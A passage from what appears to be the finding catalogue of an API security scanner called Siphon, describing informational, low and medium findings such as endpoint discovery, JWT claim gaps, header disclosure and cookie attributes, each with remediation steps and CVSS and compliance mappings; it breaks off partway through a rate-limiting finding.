Siphon

Detailed View

INFO SI-001 — API Endpoint Discovered (dirsearch)

Description: Siphon discovered an API endpoint via directory and path brute-forcing using dirsearch. The endpoint was not necessarily documented in any provided API specification and was identified by receiving a non-404 HTTP response. Discovery of undocumented or unintended endpoints increases the attack surface available to an adversary. This finding is informational and represents an enumeration result rather than a confirmed vulnerability.

Remediation: Review all discovered endpoints and confirm each is intentional and documented. Remove or disable any endpoints that are no longer in use. Ensure API gateway or WAF rules restrict access to known-good paths. Maintain an up-to-date API inventory.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP API: API9:2023 Improper Inventory Management

INFO SI-002 — API Endpoint Discovered (Feroxbuster)

Description: Siphon discovered an API endpoint via recursive content discovery using Feroxbuster. The endpoint responded with a non-404 status code during automated path enumeration. Feroxbuster performs recursive brute-forcing and can uncover deeply nested or legacy paths not surfaced by shallow scanners. Discovery of additional endpoints widens the attack surface and may expose functionality not intended for public access.

Remediation: Audit all live endpoints and compare against the official API inventory. Decommission endpoints that are no longer needed. Apply allowlist-based routing at the API gateway layer so only documented paths are reachable. Ensure staging or debug paths are not deployed to production.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP API: API9:2023 Improper Inventory Management

INFO SI-003 — API Endpoint Discovered (FFUF)

Description: Siphon discovered an API endpoint using FFUF (Fuzz Faster U Fool), a high-speed web fuzzer. The endpoint returned a response code indicating its existence during wordlist-based path fuzzing. FFUF is commonly used to find hidden API routes, versioned paths, and alternative content types. Each discovered endpoint is a potential pivot point for further vulnerability testing.

Remediation: Compare discovered endpoints against the authoritative API specification and remove any that are undocumented or deprecated. Implement strict path-based ACLs at the API gateway. Disable directory listing and ensure all routes are explicitly registered in the application router.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP API: API9:2023 Improper Inventory Management

INFO SI-004 — API Endpoint Discovered (Kiterunner)

Description: Siphon discovered an API endpoint using Kiterunner, a tool purpose-built for API route discovery that replays real-world API route signatures. Unlike generic directory brute-forcers, Kiterunner uses curated wordlists derived from thousands of real APIs and supports context-aware request construction. Endpoints found via Kiterunner often represent API-specific paths that generic scanners miss, including internal or administrative routes.

Remediation: Review all Kiterunner-discovered endpoints against the official API documentation. Ensure the API gateway enforces an allowlist of permitted routes. Remove undocumented or decommissioned routes from the application. Implement authentication requirements on all non-public endpoints.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP API: API9:2023 Improper Inventory Management

INFO SI-005 — API Framework Identified

Description: Siphon successfully fingerprinted the API framework in use (e.g., FastAPI, Django REST Framework, Spring Boot, Express, Laravel) through analysis of HTTP response headers, error page content, URL patterns, and response body signatures. Knowing the exact framework and version enables targeted exploitation of known CVEs and framework-specific vulnerabilities. This information materially aids an attacker in scoping follow-on attacks.

Remediation: Suppress framework-identifying headers such as X-Powered-By, Server, and custom framework headers. Customize error pages to avoid leaking framework version information. Keep the identified framework patched to the latest stable release. Apply virtual patching at the WAF layer for any known CVEs in the identified version.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API9:2023 Improper Inventory Management

INFO SI-006 — Undocumented API Endpoint Detected

Description: Siphon detected a live API endpoint that is not present in the provided API specification (OpenAPI/Swagger). Undocumented endpoints often represent legacy functionality, shadow APIs, or development artifacts that were never formally decommissioned. These endpoints are unlikely to have undergone the same security review as documented ones and may lack proper authentication, rate limiting, or input validation. Their existence represents a governance gap in the API lifecycle.

Remediation: Perform a full audit to determine the purpose of the undocumented endpoint. If it is no longer needed, remove it immediately. If it serves a legitimate function, add it to the official API specification and subject it to the standard security review process. Implement CI/CD checks that fail builds when undocumented routes are detected.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP API: API9:2023 Improper Inventory Management

INFO SI-007 — Undocumented HTTP Method Accepted

Description: Siphon discovered that a documented API endpoint accepts an HTTP method that is not listed in the API specification. For example, a GET-only endpoint also accepts PUT or DELETE. This may indicate that the server-side framework auto-handles methods not explicitly coded, or that an older version of the endpoint accepted additional methods. Accepting undocumented methods can lead to unintended data modification or deletion.

Remediation: Configure the application and API gateway to explicitly reject HTTP methods not defined in the API specification for each endpoint. Return 405 Method Not Allowed for any method not in the allowlist. Review the endpoint's handler logic for each accepted method and ensure proper authorization is applied.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP API: API9:2023 Improper Inventory Management

INFO SI-008 — Undocumented API Parameter Accepted

Description: Siphon detected that an API endpoint accepts a query or body parameter that is not declared in the API specification. The server processed the parameter without returning an error, suggesting the backend consumes it silently. Undocumented parameters may enable hidden functionality, alter application behavior, or bypass intended business logic. This is often a precursor to mass assignment or parameter pollution attacks.

Remediation: Implement strict input validation that rejects any parameter not explicitly defined in the API schema. Use allowlist-based parameter validation at the API gateway or middleware layer. Remove or document any legacy parameters still consumed by the backend. Review all undocumented parameters for security implications.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP API: API9:2023 Improper Inventory Management

INFO SI-009 — Undocumented Parameter Accepted

Description: Siphon detected that an API endpoint silently accepts an extra parameter that produces a changed or differentiated response compared to the baseline. This indicates the application is consuming the parameter on the server side despite it not being part of the documented API contract. Extra parameters accepted silently can indicate a mass assignment risk, hidden feature flags, or undocumented administrative controls.

Remediation: Apply strict schema validation on all incoming request parameters. Reject any parameter not included in the endpoint's schema definition. Audit the codebase for any parameters that are processed but not documented. Use an API design-first approach to ensure the specification is always the source of truth.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP API: API9:2023 Improper Inventory Management

INFO SI-010 — Endpoint Not in Scope File

Description: Siphon discovered an endpoint that is not listed in the provided scope file. This is an informational flag indicating that testing of this endpoint may be outside the authorized engagement boundary, or that the API inventory is incomplete. Out-of-scope endpoints that are still reachable from the target host represent an inventory management gap and a potential attack vector.

Remediation: Reconcile the scope file with the actual live API surface. Update the scope definition to explicitly include or exclude each discovered endpoint. Ensure API documentation and scope definitions are kept in sync through a formal API inventory management process.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP API: API9:2023 Improper Inventory Management

INFO SI-011 — HTTP Method Not in Scope File

Description: Siphon detected an HTTP method being accepted by a scoped endpoint that is not listed in the scope file for that endpoint. This may indicate the scope definition is incomplete or that the server accepts additional methods beyond those intended for testing. Methods not in scope that are live may be tested inadvertently or may represent unreviewed attack surface.

Remediation: Update the scope file to accurately reflect all accepted HTTP methods per endpoint. Enforce method restrictions at the server level so only documented methods are accepted. Review the authorization logic applied to each accepted method.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP API: API9:2023 Improper Inventory Management

INFO SI-012 — GraphQL Subscription Endpoint Detected

Description: Siphon detected a GraphQL subscription endpoint, which enables real-time data push over WebSocket or Server-Sent Events. Subscription endpoints can be leveraged for data exfiltration by subscribing to sensitive data streams, may bypass rate limiting controls applied only to query/mutation paths, and can expose the server to denial-of-service through unlimited subscription connections. Their existence should be noted and each subscription authorization model reviewed.

Remediation: Ensure all GraphQL subscription resolvers enforce the same authentication and authorization checks as query and mutation resolvers. Implement rate limiting and connection count limits on the subscription endpoint. Audit subscription data streams to ensure they do not expose data the subscriber is not authorized to receive.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP API: API9:2023 Improper Inventory Management

INFO SI-013 — JWT Contains jku Header

Description: Siphon detected a JWT token containing a jku (JWK Set URL) header parameter. The jku header allows the token to specify an external URL from which the server should fetch the public key used to verify the token signature. While this finding is informational (the server may pin allowed jku URLs), the presence of this header indicates potential for JWKS spoofing attacks if the server does not validate the jku URL against an allowlist. This finding is escalated to SI-052 (CRITICAL) if the server was found to accept arbitrary jku values.

Remediation: If jku is required, implement strict allowlist validation of the jku URL on the server side. Reject any token whose jku value is not in the approved list. Prefer embedding the public key directly in server configuration rather than fetching it dynamically. Log and alert on any jku value that does not match the expected URL.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

LOW SI-014 — JWT Missing Issued-At Claim

Description: The JWT issued by the API does not include an iat (issued-at) claim. The iat claim records when the token was created and enables server-side enforcement of token age policies. Without iat, the server cannot determine how long a token has been in circulation, making it impossible to enforce maximum token age, detect token replay from older sessions, or implement clock-skew tolerances. This weakens overall token lifecycle management.

Remediation: Include the iat claim in all issued JWTs, set to the Unix timestamp at the time of issuance. Validate iat on the server side to enforce maximum token age in addition to the exp claim. Use iat together with exp to implement sliding-window session expiry policies.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

INFO SI-015 — File Upload Endpoint Detected

Description: Siphon identified an API endpoint that accepts file uploads (multipart/form-data or binary body). File upload endpoints are high-value targets because they can be leveraged for unrestricted file upload attacks, path traversal, server-side code execution, and storage exhaustion. The presence of this endpoint is noted for targeted manual testing of upload restrictions, file type validation, and storage path controls.

Remediation: Enforce strict file type validation using magic bytes rather than extension or MIME type alone. Store uploaded files outside the web root in a sandboxed directory. Rename uploaded files to random identifiers. Scan uploaded files with antivirus/antimalware before storing. Implement size limits and rate limiting on upload endpoints. Require authentication for all upload functionality.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP Web: A04:2021 Insecure Design

OWASP API: API9:2023 Improper Inventory Management

MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)

NIST 800-53: CM-8, CM-7, AC-3

PCI DSS 4: 6.5.1

INFO SI-016 — Potential Undocumented Upload Endpoint Discovered

Description: Siphon discovered a potential file upload endpoint that is not listed in the API specification. The endpoint was identified through path pattern matching (e.g., paths containing 'upload', 'import', 'attach', 'file') or by observing multipart/form-data handling. Undocumented upload endpoints often bypass the security controls applied to documented ones and may represent legacy functionality with weaker validation. This endpoint warrants immediate manual review.

Remediation: Determine the purpose of the undocumented upload endpoint. If it is no longer needed, remove it. If legitimate, add it to the API specification and subject it to full security review including file type validation, authentication enforcement, and storage security. Implement monitoring for upload activity on this endpoint.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

OWASP Web: A04:2021 Insecure Design

OWASP API: API9:2023 Improper Inventory Management

LOW SI-017 — JWT Missing Expiry Claim

Description: The JWT issued by the API does not contain an exp (expiration) claim. Without an expiration claim, the token is theoretically valid indefinitely. An attacker who intercepts or steals a token (via XSS, network interception, log leakage, or insider threat) can use it perpetually without any time-based invalidation occurring. This violates the principle of least privilege as applied to authentication tokens and significantly increases the blast radius of any token compromise.

Remediation: Include an exp claim in all issued JWTs with an appropriate short-lived expiry (e.g., 15 minutes for access tokens, 24 hours for refresh tokens). Validate the exp claim server-side on every request. Implement token refresh logic for clients so that short-lived access tokens can be renewed using longer-lived refresh tokens. Never issue non-expiring tokens in production.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1550.001 (Defense Evasion), T1539 (Collection)

NIST 800-53: IA-5, SC-23, AC-12

PCI DSS 4: 8.2.4, 8.3.9

LOW SI-018 — Information Disclosure: Server Header

Description: The API response includes a Server HTTP header that discloses the web server software and version (e.g., Apache/2.4.51, nginx/1.21.3). This information assists an attacker in identifying the server technology stack and cross-referencing against known CVEs for that exact version. While not directly exploitable, version disclosure lowers the bar for targeted exploitation by eliminating reconnaissance effort.

Remediation: Configure the web server to suppress or mask the Server header. In nginx, set 'server_tokens off'. In Apache, set 'ServerTokens Prod' and 'ServerSignature Off'. Configure IIS to remove the Server header via HTTP response headers settings. Replace the header value with a generic string if complete removal is not possible.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1592.002 (Reconnaissance)

NIST 800-53: CM-7, SI-12

PCI DSS 4: 6.2.4

LOW SI-019 — Information Disclosure: Via Header

Description: The API response includes a Via HTTP header that reveals information about intermediate proxies, load balancers, or CDN nodes in the request path. The Via header can expose internal hostnames, proxy software versions, or network topology that assists an attacker in mapping internal infrastructure. This information can be used to identify internal services, bypass CDN protections by directly targeting origin servers, or craft targeted attacks against specific proxy versions.

Remediation: Configure reverse proxies and CDN edge nodes to suppress or rewrite the Via header before forwarding responses to clients. If Via is required for debugging purposes, ensure it only contains generic identifiers rather than internal hostnames or software versions. Use network segmentation to prevent direct access to origin servers bypassing the CDN.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1592.002 (Reconnaissance)

NIST 800-53: CM-7, SI-12

PCI DSS 4: 6.2.4

LOW SI-020 — Information Disclosure: X-Powered-By Header

Description: The API response includes an X-Powered-By header that discloses the application framework or runtime (e.g., PHP/8.1.0, ASP.NET, Express). This information enables an attacker to identify the specific framework in use and correlate it against known vulnerabilities for that version. X-Powered-By is a non-standard header set by frameworks by default and provides no functional benefit to legitimate clients.

Remediation: Remove the X-Powered-By header at the framework or server level. In Express.js, call 'app.disable("x-powered-by")'. In PHP, set 'expose_php = Off' in php.ini. In ASP.NET, remove the X-Powered-By header in the web.config customHeaders section. Alternatively, strip the header at the reverse proxy or WAF layer.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1592.002 (Reconnaissance)

NIST 800-53: CM-7, SI-12

PCI DSS 4: 6.2.4

LOW SI-021 — Information Disclosure: X-AspNet-Version Header

Description: The API response includes an X-AspNet-Version header disclosing the exact version of the ASP.NET runtime in use. This version string enables targeted exploitation of known ASP.NET vulnerabilities specific to that version, including deserialization bugs, ViewState tampering vulnerabilities, and padding oracle attacks. The header provides no functional value to clients and represents unnecessary information exposure.

Remediation: Disable the X-AspNet-Version header by adding '<httpRuntime enableVersionHeader="false" />' to the system.web section of web.config. Additionally configure IIS to remove the X-Powered-By and Server headers via customHeaders configuration. Keep ASP.NET runtime patched to the latest stable version regardless of header suppression.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1592.002 (Reconnaissance)

NIST 800-53: CM-7, SI-12

PCI DSS 4: 6.2.4

LOW SI-022 — Permissive Security Header: Content-Security-Policy

Description: The API response includes a Content-Security-Policy header, but the policy is overly permissive (e.g., contains 'unsafe-inline', 'unsafe-eval', wildcard sources like '*', or 'data:' in script-src). A permissive CSP reduces protection against Cross-Site Scripting (XSS) attacks compared to a strict policy. While the header is present, its configuration does not provide meaningful protection against script injection.

Remediation: Harden the CSP to remove 'unsafe-inline' and 'unsafe-eval' from script-src directives. Use nonces or hashes for inline scripts instead of blanket unsafe-inline permission. Restrict source allowlists to specific trusted domains. Use 'strict-dynamic' for modern browsers. Test the policy using Google's CSP Evaluator before deploying. Apply CSP to all API responses that return HTML content.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

LOW SI-023 — Permissive Security Header: Strict-Transport-Security

Description: The API response includes a Strict-Transport-Security (HSTS) header, but it is configured with a very short max-age value (typically less than one year), lacks the 'includeSubDomains' directive, or lacks 'preload'. A weak HSTS configuration leaves a window during which users can be downgraded to HTTP via SSL stripping attacks. The presence of the header is positive, but the permissive configuration reduces its protective value.

Remediation: Set the HSTS max-age to at least 31536000 seconds (one year). Add the 'includeSubDomains' directive to protect all subdomains. Consider adding 'preload' and submitting the domain to the HSTS preload list at https://hstspreload.org. Ensure HSTS is only set over HTTPS connections and never over HTTP.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A02:2021 Cryptographic Failures

OWASP API: API8:2023 Security Misconfiguration

LOW SI-024 — Permissive Security Header: X-Frame-Options

Description: The API response includes an X-Frame-Options header set to ALLOWFROM or a value other than DENY or SAMEORIGIN. ALLOWFROM has inconsistent browser support and may not provide effective clickjacking protection in all browsers. A permissive or inconsistent X-Frame-Options value reduces protection against UI redress attacks where the API's responses are framed in an attacker-controlled page.

Remediation: Set X-Frame-Options to DENY if the content should never be framed, or SAMEORIGIN if framing from the same origin is required. Prefer using the Content-Security-Policy frame-ancestors directive as a modern replacement, as it offers more granular control and is consistently supported. Remove ALLOWFROM configurations entirely.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

LOW SI-025 — Permissive Security Header: X-Content-Type-Options

Description: The API response includes an X-Content-Type-Options header with an invalid or non-standard value rather than the required 'nosniff'. A header value other than 'nosniff' does not prevent MIME-type sniffing in browsers and provides no protection against attacks that exploit browsers executing incorrectly typed content (e.g., a JSON file with executable JavaScript content being sniffed and executed as text/html).

Remediation: Set the X-Content-Type-Options header to exactly 'nosniff' on all API responses. This is a binary setting — only 'nosniff' is valid. Ensure the correct Content-Type header is also set on all responses to prevent browsers from needing to sniff the content type.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

LOW SI-026 — Permissive Security Header: Referrer-Policy

Description: The API response includes a Referrer-Policy header set to an overly permissive value such as 'unsafe-url' or 'no-referrer-when-downgrade'. These values cause the browser to send the full URL (including query parameters, authentication tokens, or session identifiers embedded in URLs) as the Referrer header to third-party domains. This can lead to sensitive data leakage to analytics providers, CDNs, or any third-party resource loaded by the page.

Remediation: Set Referrer-Policy to 'strict-origin-when-cross-origin' or 'no-referrer' depending on business requirements. Avoid 'unsafe-url' in all cases. For API endpoints that do not serve HTML, set the Referrer-Policy to 'no-referrer'. Ensure that sensitive information such as tokens or session IDs are never included in URLs.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

LOW SI-027 — Permissive Security Header: Cache-Control

Description: The API response includes a Cache-Control header, but it allows caching of potentially sensitive responses. For example, the value may be missing 'no-store', or may allow public proxies to cache authenticated responses via 'public' or 'max-age' directives without 'private'. Sensitive API responses cached by intermediary proxies, CDNs, or shared caches can be accessed by other users or attackers with access to those caches.

Remediation: For authenticated or sensitive API responses, set Cache-Control to 'no-store, private' to prevent caching at all levels. For public, non-sensitive responses, use appropriate 'public' and 'max-age' directives. Review all endpoints that return user-specific data and ensure their Cache-Control headers prevent intermediate caching.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

LOW SI-028 — Missing Secure Cookie Attribute: SameSite

Description: An API session cookie does not include the SameSite attribute. Without SameSite, the browser will send the cookie on all cross-site requests, including those initiated by attacker-controlled third-party sites. This enables Cross-Site Request Forgery (CSRF) attacks where an attacker can cause authenticated actions to be performed without the user's knowledge. While REST APIs using Authorization headers are generally not susceptible to CSRF, cookie-based API authentication without SameSite is vulnerable.

Remediation: Set the SameSite attribute to 'Lax' as a minimum, or 'Strict' for sensitive cookies such as session tokens. 'None' should only be used when cross-site cookie sending is explicitly required, and must be paired with the Secure attribute. Evaluate whether cookie-based authentication is appropriate for the API, or whether Authorization headers should be used instead.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1539 (Collection), T1185 (Collection)

NIST 800-53: SC-8, IA-5, SC-23

PCI DSS 4: 6.4.1, 6.5.10

LOW SI-029 — Misconfigured Secure Cookie Attribute: SameSite

Description: An API session cookie includes the SameSite attribute but it is set to 'None' without a legitimate cross-site requirement, or is set to a value that browsers do not recognize and fall back to treating as SameSite=None. SameSite=None without a strong justification allows cross-site request forgery attacks the same as having no SameSite attribute. This finding also covers cookies where SameSite=None is set without the required Secure flag, which modern browsers will reject entirely.

Remediation: Audit all cookies with SameSite=None and confirm each has a documented business requirement for cross-site access. Ensure SameSite=None is always paired with the Secure attribute. Where cross-site access is not required, change SameSite to 'Lax' or 'Strict'. Remove any unrecognized or typo'd SameSite values.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1539 (Collection), T1185 (Collection)

NIST 800-53: SC-8, IA-5, SC-23

PCI DSS 4: 6.4.1, 6.5.10

MEDIUM SI-030 — API Specification Exposed

Description: The API's OpenAPI/Swagger specification or equivalent documentation is publicly accessible without authentication (e.g., at /swagger.json, /openapi.json, /api-docs, /swagger-ui.html). The specification reveals the complete API surface including all endpoints, parameter names and types, authentication schemes, and response schemas. This dramatically reduces the reconnaissance effort required for an attacker, providing a complete blueprint of the API without any prior knowledge.

Remediation: Restrict access to API specification endpoints using authentication. At minimum, require valid credentials to access /swagger-ui, /openapi.json, and related documentation paths. In production environments, consider completely removing public API documentation and limiting it to internal networks or developer portals. If public documentation is required, ensure it does not contain internal or sensitive endpoint details.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-031 — Missing Security Header: Content-Security-Policy

Description: The API response does not include a Content-Security-Policy (CSP) header. Without CSP, the browser applies no restrictions on the origins from which scripts, styles, images, and other resources can be loaded, significantly increasing the risk of Cross-Site Scripting (XSS) attacks. A missing CSP means any XSS vulnerability in the API's responses can result in arbitrary script execution without any browser-level mitigation.

Remediation: Implement a Content-Security-Policy header on all HTTP responses that return HTML content. Start with a restrictive policy such as "default-src 'self'" and gradually expand based on application requirements. Use CSP reporting (report-to or report-uri) to identify violations before enforcing. For pure JSON API endpoints, set CSP to "default-src 'none'" as those endpoints should never load external resources.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-032 — Missing Security Header: X-Frame-Options

Description: The API response does not include an X-Frame-Options header and the Content-Security-Policy header does not include a frame-ancestors directive. Without this protection, the API's responses can be embedded in iframes on attacker-controlled websites, enabling UI redress (clickjacking) attacks. An attacker can overlay invisible or transparent frames over legitimate UI elements to trick users into performing unintended authenticated actions.

Remediation: Add 'X-Frame-Options: DENY' to all API responses, or use the more modern Content-Security-Policy 'frame-ancestors' directive (e.g., "frame-ancestors 'none'"). For APIs that legitimately need to be framed by the same origin, use SAMEORIGIN. Prefer the CSP approach as it supports more granular control and is the modern standard.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-033 — Missing Security Header: X-Content-Type-Options

Description: The API response does not include an X-Content-Type-Options: nosniff header. Without this header, browsers may perform MIME-type sniffing and interpret responses as a different content type than declared. For example, a JSON response containing JavaScript could be executed as a script in certain browser configurations. This attack vector is particularly relevant for APIs that accept and reflect user-supplied content.

Remediation: Add 'X-Content-Type-Options: nosniff' to all API HTTP responses. Ensure all responses also include accurate Content-Type headers matching the actual content. This single-directive header is trivial to implement and should be applied globally via middleware or the web server configuration.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-034 — Missing Security Header: Referrer-Policy

Description: The API response does not include a Referrer-Policy header. Without this header, the browser defaults to 'no-referrer-when-downgrade' behavior, sending the full URL as the Referrer header to any HTTPS destination when navigating from HTTPS pages. If API request URLs contain sensitive parameters such as session tokens, API keys, or user identifiers, these values will be leaked to third-party analytics services, CDNs, or any embedded resources loaded by the page.

Remediation: Add a Referrer-Policy header to all API responses. Set the value to 'strict-origin-when-cross-origin' as a sensible default for most applications, or 'no-referrer' for endpoints that should not leak any referrer information. Ensure sensitive data is never embedded in URLs where it could be exposed in the Referer header.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-035 — Missing Security Header: Cache-Control

Description: The API response for a sensitive or authenticated endpoint does not include a Cache-Control header. Without explicit cache control directives, the response may be cached by intermediate proxies, CDN edge nodes, shared corporate caches, or the client browser. Sensitive API responses (e.g., user profiles, account data, payment information) cached in shared environments can be retrieved by other users, creating a data confidentiality risk.

Remediation: Add Cache-Control headers to all authenticated or sensitive API responses. Use 'no-store, private' to prevent caching at all levels for sensitive responses. Use 'no-cache' if validation is acceptable but indefinite caching is not. Ensure that any CDN or reverse proxy in front of the API is configured to respect these directives.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-036 — Missing Security Header: Permissions-Policy

Description: The API response does not include a Permissions-Policy header (formerly Feature-Policy). Without this header, the browser grants default access to powerful browser features such as camera, microphone, geolocation, payment, and USB for any content rendered from this origin, including third-party iframes. Malicious scripts or XSS payloads executing in the context of this origin can access these features without restriction.

Remediation: Add a Permissions-Policy header to restrict access to browser features to only those the application requires. Use a restrictive default such as 'camera=(), microphone=(), geolocation=(), payment=()' and selectively enable features as needed. This header provides defense-in-depth against XSS exploitation of browser APIs.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-037 — Missing Secure Cookie Attribute: HttpOnly

Description: An API session or authentication cookie is set without the HttpOnly attribute. Without HttpOnly, client-side JavaScript can read the cookie value via document.cookie, enabling session hijacking through Cross-Site Scripting (XSS) attacks. An attacker who successfully injects a script into the application can exfiltrate the session cookie and impersonate the victim without any further interaction.

Remediation: Set the HttpOnly flag on all session and authentication cookies. This prevents JavaScript from accessing the cookie value while still allowing it to be sent on HTTP requests. Evaluate whether cookie-based authentication is appropriate for the API use case; Authorization headers are generally preferred for API clients as they cannot be stolen via XSS in the same way.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1539 (Collection), T1185 (Collection)

NIST 800-53: SC-8, IA-5, SC-23

PCI DSS 4: 6.4.1, 6.5.10

MEDIUM SI-038 — Missing Secure Cookie Attribute: Secure

Description: An API session or authentication cookie is set without the Secure attribute. Without the Secure flag, the browser will transmit the cookie over unencrypted HTTP connections in addition to HTTPS. An attacker performing a network man-in-the-middle attack (e.g., on an unencrypted Wi-Fi network) can intercept the session cookie and use it to impersonate the authenticated user. This is particularly critical for authentication tokens.

Remediation: Set the Secure flag on all session and authentication cookies. This ensures the cookie is only transmitted over HTTPS connections. Combine with HSTS to prevent the browser from making HTTP requests to the API at all. If HTTP access is still required for any reason, ensure no sensitive cookies are set on HTTP responses.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1539 (Collection), T1185 (Collection)

NIST 800-53: SC-8, IA-5, SC-23

PCI DSS 4: 6.4.1, 6.5.10

MEDIUM SI-039 — Rate Limit Response Missing Retry-After Header

Description: The API returns a 429 Too Many Requests response when rate limits are exceeded, but does not include a Retry-After header indicating when the client should retry. Without Retry-After, clients implementing retry logic may immediately retry requests, causing a thundering herd effect that amplifies load on the server. Additionally, the absence of this header makes the rate limiting behavior opaque, which can assist attackers in tuning their request timing to avoid detection.

